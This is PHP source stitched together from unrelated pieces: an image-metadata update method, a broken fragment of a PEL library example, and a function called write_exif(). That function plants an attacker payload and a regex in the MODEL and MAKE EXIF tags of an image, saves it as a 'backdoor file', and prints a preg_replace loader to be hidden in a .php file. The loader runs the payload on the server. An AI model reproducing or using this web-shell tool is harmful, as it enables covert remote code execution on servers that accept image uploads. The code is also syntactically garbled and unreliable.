/**
* Updates the description of an image with the given data
*
* @param $id The internal id of the image
* @param $title The title of the image
* @param $description The description of the image
* @param $category The category of the image
* @param $tags An array of tags of the image
*/
public function updateDescription($filename, $id, $title, $description, $category, $tags)
{
$data = new PelDataWindow(file_get_contents($filename));
if (PelJpeg::isValid($data)) {
$jpeg = $file = new PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if ($exif == null) {
$exif = new PelExif();
$jpeg->setExif($exif);
$tiff = new PelTiff();
$exif->setTiff($tiff);
} else {
$tiff = $exif->getTiff();
}
} elseif (PelTiff::isValid($data)) {
$tiff = $file = new PelTiff();
$tiff->load($data);
} else {
return 0;
}
$ifd0 = $tiff->getIfd();
if ($ifd0 == null) {
$ifd0 = new PelIfd(PelIfd::IFD0);
$tiff->setIfd($ifd0);
}
$desc = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION);
$description = json_encode(array('id' => $id, 'Title' => $title, 'Description' => $description, 'Category' => $category, 'Tags' => implode(',', $tags)));
if ($desc == null) {
$desc = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $description);
$ifd0->addEntry($desc);
} else {
$desc->setValue($description);
}
$file->saveFile($filename);
}
$tiff->setIfd($ifd0);
}
/* Each entry in an IFD is identified with a tag. This will load the
* ImageDescription entry if it is present. If the IFD does not
* contain such an entry, null will be returned. */
$desc = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION);
/* We need to check if the image already had a description stored. */
if ($desc == null) {
/* The was no description in the image. */
println('Added new IMAGE_DESCRIPTION entry with "%s".', $description);
/* In this case we simply create a new PelEntryAscii object to hold
* the description. The constructor for PelEntryAscii needs to know
* the tag and contents of the new entry. */
$desc = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $description);
/* This will insert the newly created entry with the description
* into the IFD. */
$ifd0->addEntry($desc);
} else {
/* An old description was found in the image. */
println('Updating IMAGE_DESCRIPTION entry from "%s" to "%s".', $desc->getValue(), $description);
/* The description is simply updated with the new description. */
$desc->setValue($description);
}
/* At this point the image on disk has not been changed, it is only
* the object structure in memory which represent the image which has
* been altered. This structure can be converted into a string of
* bytes with the getBytes method, and saving this in the output file
* completes the script. */
println('Writing file "%s".', $output);
$file->saveFile($output);
/* The End. */
function write_exif()
{
global $verbose, $headers, $regex, $payload, $original, $backdoored;
require_once 'pel/PelDataWindow.php';
require_once 'pel/PelJpeg.php';
require_once 'pel/PelTiff.php';
setlocale(LC_ALL, '');
$data = new PelDataWindow(file_get_contents($original));
if (PelJpeg::isValid($data)) {
$jpeg = $file = new PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if ($exif == null) {
if ($verbose) {
print " # No APP1 section found, added new.\r\n";
}
$exif = new PelExif();
$jpeg->setExif($exif);
$tiff = new PelTiff();
$exif->setTiff($tiff);
} else {
if ($verbose) {
print " # Found existing APP1 section.\r\n";
}
$tiff = $exif->getTiff();
}
} elseif (PelTiff::isValid($data)) {
$tiff = $file = new PelTiff();
$tiff->load($data);
} else {
print " # Unrecognized image format! The first 16 bytes follow:\r\n";
PelConvert::bytesToDump($data->getBytes(0, 16));
exit(1);
}
$ifd0 = $tiff->getIfd();
if ($ifd0 == null) {
if ($verbose) {
print " # No IFD found, adding new.\r\n";
}
$ifd0 = new PelIfd(PelIfd::IFD0);
$tiff->setIfd($ifd0);
}
//add MODEL EXIF header
$desc = $ifd0->getEntry(PelTag::MODEL);
if ($desc == null) {
if ($verbose) {
print " # Added new MODEL entry with " . $payload . "\r\n";
}
$desc = new PelEntryAscii(PelTag::MODEL, $payload);
$ifd0->addEntry($desc);
} else {
if ($verbose) {
print 'Updating MODEL entry from "' . $desc->getValue() . '" to "' . $payload . '".' . "\r\n";
}
$desc->setValue($payload);
}
//add MAKE EXIF header
$desc = $ifd0->getEntry(PelTag::MAKE);
if ($desc == null) {
if ($verbose) {
print " # Added new MAKE entry with " . $regex . "\r\n";
}
$desc = new PelEntryAscii(PelTag::MAKE, $regex);
$ifd0->addEntry($desc);
} else {
if ($verbose) {
print 'Updating MAKE entry from "' . $desc->getValue() . '" to "' . $regex . '".' . "\r\n";
}
$desc->setValue($regex);
}
print " # Saving backdoor file : " . $backdoored . ".\r\n";
$file->saveFile($backdoored);
print " # Saved.\r\n";
if ($verbose) {
print "\r\n\r\n";
}
print " # In order to work your backdoor, you need to hide this code very well in a .php file.\r\n";
print "\r\n<?php\r\n\$exif = exif_read_data('path_to_backdoored_file_uploaded_on_server.jpg');\r\n";
print "preg_replace(\$exif['" . $headers[0] . "'],\$exif['" . $headers[1] . "'],'');\r\n?>\r\n\r\n";
}